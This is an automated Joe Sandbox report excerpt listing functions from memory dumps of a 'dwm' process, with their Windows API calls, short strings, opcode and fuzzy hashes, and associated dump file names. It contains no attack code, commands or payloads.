Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: cd6eee95d08178066752497881dbfb1b4bf5367c20e995cf48df9bff46043c34
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: 53D1F232714B8489E711CFAAE8483DC37B2F354B98F60421ADE9D97B99DB34C626C351

Function 000002BAAED914A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAED914C6
HeapFree.KERNEL32 ref: 000002BAAED914D5
GetProcessHeap.KERNEL32 ref: 000002BAAED914E2
HeapFree.KERNEL32 ref: 000002BAAED914F1
GetProcessHeap.KERNEL32 ref: 000002BAAED91501

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: b5e493a37247f486d4e511af304c71f74b69f6d6ab4c5d367c9ea779368aa8b9
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 8D016972610B80DAE714EF66E80815977B2F78CF80B294425DF8D43768DF34D561C750

Function 000002BAAEDA28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002BAAEDA28DF), ref: 000002BAAEDA2A12

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 42596948f4be9e1c4baedd15f2e5848b519febb4b5d1f10a6144ff059d0cf004
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 799105327106548AFB64CF6B98583AD3BB0F354B88F64410ADE8E57B89DB34C695C322

Function 000002BAAED98090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002BAAED980BC
GetCurrentThreadId.KERNEL32 ref: 000002BAAED980CA
GetCurrentProcessId.KERNEL32 ref: 000002BAAED980D6
QueryPerformanceCounter.KERNEL32 ref: 000002BAAED980E6

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 0037f0870ebfdb016aa1932559eb3bc75153d745f9a34c3263476bd63a4cccf0
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 58115B26B10F048AFB00DF60E8583A833B4F719B58F540E21EAAD87BA4EF78C164C351

Function 000002BAAED927E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAED928CC
StrCpyW.SHLWAPI ref: 000002BAAED928E5

Part of subcall function 000002BAAED93F88: StrCmpNIW.SHLWAPI(?,?,?,000002BAAED9272F), ref: 000002BAAED93FA0

Strings

\\.\pipe\, xrefs: 000002BAAED928D7

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 2bcced1576c8107b81588a6f466b45f407658c383511f9b0175cc3c10dfb831f
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 1A719036200B8256E7759F2AAC583AA77B4F385B84F650016DD8E57F89EF36CE00C752

Function 000002BAAF1980A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAF1980CB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAF198162

Strings

csm, xrefs: 000002BAAF198149

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 2d589ca2fe90facada70d073e5b9e3fda88d53719ea67fd17517b3d445ac1787
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: C051B533311A008ADB58DF29D48CB6C7BB1F344BA8F954126EB4A87788D77BC841C752

Function 000002BAAEDD80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDD80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDD8162

Strings

csm, xrefs: 000002BAAEDD8149

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 0ba0bd4b81d419ba5013f91ef3a057754ff54ab6ed17551e9028579c86221ce1
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 6F51F53A313A408AEB55CF19E48CB6D77B5F354B98F258126DACEA3788DB78C841C711

Function 000002BAAEE380A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEE380CB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEE38162

Strings

csm, xrefs: 000002BAAEE38149

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 9c97de133244d466fd9d4f449c096b2ff238832ebb9217629b83df121b1a857d
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 7651E43A311A82AAEB74CF15E44CB6C33B1F344B98F298525EAC647BC9D779C841C715

Function 000002BAAF199AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002BAAF199BA7

Strings

MOC, xrefs: 000002BAAF199B6F
RCC, xrefs: 000002BAAF199B77

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 9e7f6acbf74b7a19f5a368e77507c73e2d452fc3a76eb8ba7105daeb0c7a0f4f
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: AA61C033508BC481EB349F15E48479EBBB0F784B98F445216EB8983B99DB7EC190CB51

Function 000002BAAEDD9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEDD9BA7

Strings

RCC, xrefs: 000002BAAEDD9B77
MOC, xrefs: 000002BAAEDD9B6F

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 631027331caa43d56e79256c1cf69816f08421b8871a2c17b68a258bd017b566
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: A961EF32509BC482EB318F15E4847DAB7B0F785B98F245216EBCC93B99DBB9D090CB11

Function 000002BAAEE39AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEE39BA7

Strings

RCC, xrefs: 000002BAAEE39B77
MOC, xrefs: 000002BAAEE39B6F

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 77d90d6b92ea5bb553dfccb31aec47514666af2ac8d44396a35cae7661ad1a5d
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: A361CC32508BC592EB718F25E44539ABBB0F789B88F684215EBD807F99DB7CC590CB11

Function 000002BAAED925DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAED926C2
StrCpyW.SHLWAPI ref: 000002BAAED926D9

Strings

\\.\pipe\, xrefs: 000002BAAED926CD

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: a2016ffaf16664528dbd7c34dcfa2a8b625362b1d5d64cbad52d52b1f553e444
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 6951F42620478191EA24DE2DB85C3AA77B1F384B90F640025CDDD63F89EB3BCD04C762

Function 000002BAAEE025DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEE026C2
StrCpyW.SHLWAPI ref: 000002BAAEE026D9

Strings

\\.\pipe\, xrefs: 000002BAAEE026CD

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 5d5b9fe66ed7a0b493611d45785aae115f712fb6bdf179b2d195952f945683be
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: C551192624478161EAB6DE2DA45C3AA77F1F398780F780029CDC943F8BDB39C544C762

Function 000002BAAEDA2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAEDA2778
GetLastError.KERNEL32 ref: 000002BAAEDA279D

Strings

U, xrefs: 000002BAAEDA2722

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 49fdd62030acc719f4bd7a86daf3eeaca2f80af2afb40dbbe80962308d95d0c4
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 49410973625A8086E760DF6AE4487AAB7B0F348784FA44121EECD87758EF38C651C761

Function 000002BAAEE12660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAEE12778
GetLastError.KERNEL32 ref: 000002BAAEE1279D

Strings

U, xrefs: 000002BAAEE12722

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 5f14883872db6cc69e978646f2907d5576a4270c535a5ea4fd3ff96dcb071691
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 95410A72615B8096EB70DF69E84879AB7B0F358794F640121EECD87B98EB3CC441C751

Function 000002BAAED99178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002BAAED991C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002BAAED987F7), ref: 000002BAAED99209

Strings

csm, xrefs: 000002BAAED991F6

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 940565ec5c046a7a3cba980f6eeba56df11988a2f98ee2ec351f5ed982885768
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: EB11FB72614B8082EB618B15F848259B7F5F788B94F684625EECD17BA8EF3DC951CB00

Function 000002BAAED91D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAED91D69
HeapAlloc.KERNEL32 ref: 000002BAAED91D77
GetProcessHeap.KERNEL32 ref: 000002BAAED91D9C
HeapFree.KERNEL32 ref: 000002BAAED91DAA

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: fd45eea6e8243d6ee93284cc212565fd665dd89b383d95579792cf4b2c31296b
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 96118C21A01B8095EA15DF6AA80826977B1FB88FD0F695128DECE53B65EF39D952C300

Function 000002BAAED91264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAED9126A
HeapAlloc.KERNEL32 ref: 000002BAAED91279
GetProcessHeap.KERNEL32 ref: 000002BAAED91293
HeapAlloc.KERNEL32 ref: 000002BAAED912A4

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 30aa08e9776ea0cad61db7092c1e0e9ae49d84499b26f7f7cbecf5e595806920
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 49E06DB1601604AAE714AF62D80C36937F2FB88F05F54C424C98D07390EF7D85A9C761

Function 000002BAAEE01264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEE0126A
HeapAlloc.KERNEL32 ref: 000002BAAEE01279
GetProcessHeap.KERNEL32 ref: 000002BAAEE01293
HeapAlloc.KERNEL32 ref: 000002BAAEE012A4

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 03daca1251b3f575f16d13e208a9cc183863994b71d6e4aa167fd1a4dba97f45
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: B1E03931701A04AAE725AB62E80834937E2EB98B05F548024C98907750EF7D84DDC761

Function 000002BAAED91000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAED91006
HeapAlloc.KERNEL32 ref: 000002BAAED91015
GetProcessHeap.KERNEL32 ref: 000002BAAED91028
HeapAlloc.KERNEL32 ref: 000002BAAED91037

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 506ac239137d1aeea9d62bb7478cb15fb7fc01b17476a325a4cb1bb507488526
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 64E012B1611504ABE718AF62DC0836977F2FB8CF15F548464C94D07350EF3C85A9D721

Function 000002BAAEE01000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEE01006
HeapAlloc.KERNEL32 ref: 000002BAAEE01015
GetProcessHeap.KERNEL32 ref: 000002BAAEE01028
HeapAlloc.KERNEL32 ref: 000002BAAEE01037

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

